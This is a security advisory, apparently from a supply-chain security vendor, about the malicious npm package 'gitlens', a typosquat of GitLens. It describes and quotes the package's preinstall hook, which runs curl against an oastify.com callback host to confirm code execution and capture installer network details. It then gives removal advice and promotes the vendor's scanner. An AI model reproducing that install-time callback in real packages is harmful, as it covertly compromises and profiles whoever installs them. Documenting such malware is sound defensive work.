gitlensnpm
gitlens is a confirmed malicious npm package (MAL-2026-6973) that typosquats a legitimate package to trick installs (malicious versions 9.4.0, 9.4.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in gitlens (npm)
What this malware does
package.json declares a preinstall lifecycle hook that runs curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com on npm install. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious.
It is considered malicious because:
-
The package communicates with a domain associated with malicious activity.
-
The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for gitlens (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging gitlens across your stack and pipelines.
If you installed it — respond
gitlens is a typosquat — you almost certainly intended a legitimately-named package. Remove gitlens, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If gitlens was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks gitlens before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks gitlens-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.